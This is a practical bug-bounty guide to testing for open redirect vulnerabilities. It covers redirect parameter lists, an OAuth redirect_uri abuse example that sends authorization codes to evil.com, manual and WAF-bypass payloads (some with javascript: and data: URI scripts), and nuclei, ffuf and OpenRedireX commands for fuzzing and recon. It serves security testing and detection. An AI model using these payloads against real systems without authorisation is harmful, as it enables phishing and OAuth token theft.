Open Redirect – Practical Guide
If the server doesn't validate redirect uri , the authorization code is sent to evil.com .
What is Open Redirect?#
Open Redirect is a web vulnerability where an application redirects users to an external URL supplied by an attacker via a parameter. It is often used in phishing attacks, credential harvesting, and OAuth token theft.
Common Redirect Parameters (Top 50)#
text
?next=
?url=
?target=
?r=
?return=
?returnTo=
?return_url=
?redirect=
?redirect_uri=
?redirect_url=
?path=
?continue=
?destination=
?go=
?view=
?to=
?out=
?callback=
?return_path=
?forward=
?forward_url=
?redirect_to=
?image_url=
?file=
?load=
?link=
?location=
?page=
?site=
?uri=
?ref=
?window=
?jump=
?jump_to=
?checkout_url=
?success_url=
?cancel_url=
?login_url=
?logout_url=
?logout_return=
?returnURL=
?returnUri=
?nextUrl=
?next_url=
?service=
?home=
?data=
?from=
?to_url=
?orig=
?src=Where to Look#
These parameters appear most commonly in:
- Login / Logout pages ·
?next=after authentication - After registration · redirect to onboarding
- Payment completion · return URL after checkout
- Social media sharing · callback after OAuth
- Any page with "return" functionality
- OAuth / SSO flows ·
redirect_uri,callback_url
OAuth Redirect Abuse#
text
https://target.com/oauth/authorize?
client_id=app&
redirect_uri=https://evil.com& ← attacker-controlled
response_type=code&
scope=readIf the server doesn't validate redirect_uri, the authorization code is sent to evil.com.
1. Manual Testing#
Basic Payloads#
bash
## Payload 1: Direct redirect
https://target.com/redirect?url=https://evil.com
## Payload 2: Double slash
https://target.com/redirect?url=//evil.com
## Payload 3: HTTPS bypass (fragment trick)
https://target.com/redirect?url=https://evil.com#https://target.com
## Payload 4: Data URI
https://target.com/redirect?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
## Payload 5: URL-encoded
https://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d
## Payload 6: Subdomain bypass
https://target.com/redirect?url=https://evil.com.target.com
## Payload 7: Basic auth bypass
https://target.com/redirect?url=https://evil.com@target.com
## Payload 8: IP format bypass (127.0.0.1 in hex)
https://target.com/redirect?url=https://0x7F000001/2. Automatic Tools#
With Nuclei#
bash
nuclei -u https://target.com -tags redirect \
-H "User-Agent: Mozilla/5.0 -BugBounty-31337"Or using the exposures templates folder:
bash
nuclei -u https://target.com -t exposures/ \
-H "User-Agent: Mozilla/5.0 -BugBounty-31337"With ffuf (Parameter Fuzzing)#
bash
## Test redirect parameters
ffuf -u "https://target.com/login?FUZZ=https://evil.com" \
-w parameters.txt \
-H "User-Agent: Mozilla/5.0 -BugBounty-31337" \
-fr "not found"With OpenRedireX#
bash
python3 openredirex.py -l subdomains.txt -p payloads.txt \
--keyword "FUZZ" \
-H "User-Agent: Mozilla/5.0 -BugBounty-31337"3. Advanced Testing – WAF Bypass#
Full Bypass Payload List#
python
payloads = [
"https://evil.com",
"//evil.com",
"https://evil.com/",
"//evil.com/",
"/\\evil.com",
"https://evil.com\\@target.com",
"https://target.com@evil.com",
"https://evil.com?target.com",
"https://evil.com#target.com",
"javascript:alert(1)//https://target.com",
"data:text/html,<script>location.href='https://evil.com'</script>",
"//evil.com/%2f..",
"https://evil.com/..",
"/%5cevil.com",
"//evil%2Ecom",
"https://evil.com:80",
"https://target.com.evil.com",
"https://evil.com/?url=https://target.com",
]Real-World Test Examples#
bash
## Test login page
https://dev.app.target.com/login?redirect=//evil.com
## Test after logout
https://dev.app.target.com/logout?return=https://evil.com
## Test API endpoints
https://dev.api.target.com/api/auth?callback_url=https://evil.com
## Test with double encoding
https://dev.app.target.com/forward?path=%2F%2Fevil.com4. How to Confirm a Vulnerability#
Matchers – Signs of Open Redirect#
| Signal | Example |
|---|---|
| HTTP Status Code | 301, 302, 303, 307, 308 |
| Response Header | Location: https://evil.com |
| JavaScript redirect | <script>window.location='https://evil.com'</script> |
| Meta refresh | <meta http-equiv="refresh" content="0;url=https://evil.com"> |
Nuclei Custom Template#
yaml
id: open-redirect-test
info:
name: Open Redirect Detection
author: YourName
severity: medium
description: Tests common parameters for open redirect vulnerability
requests:
- method: GET
path:
- "{{BaseURL}}/login?next=https://evil.com"
- "{{BaseURL}}/redirect?url=https://evil.com"
- "{{BaseURL}}/logout?return=https://evil.com"
- "{{BaseURL}}/?redirect_uri=https://evil.com"
matchers-condition: or
matchers:
- type: word
part: header
words:
- "Location: https://evil.com"
- type: status
status:
- 301
- 302
- 307
- 308Run it:
bash
nuclei -t open-redirect-test.yaml -u https://target.com -debug5. Bug Bounty Recon Workflow#
bash
## Step 1: Find subdomains
subfinder -d target.com > subs.txt
## Step 2: Find live hosts
httpx -l subs.txt > live.txt
## Step 3: Fuzz redirect parameters on all live hosts
ffuf -u "FUZZ?next=https://evil.com" \
-w live.txt \
-H "User-Agent: Mozilla/5.0 -BugBounty-31337"
## Step 4: Scan with Nuclei redirect templates
nuclei -l live.txt -tags redirect -severity medium,highQuick Reference – Useful Flags#
| Tool | Option | Description |
|---|---|---|
nuclei | -tags redirect | Run only redirect templates |
nuclei | -severity medium,high | Filter by severity |
nuclei | -debug | Show request/response |
ffuf | -fr "not found" | Filter false positives |
ffuf | -w parameters.txt | Wordlist of redirect params |
openredirex | --keyword FUZZ | Injection point in URL |
THIS IS THE END OF THE OPEN REDIRECT GUIDE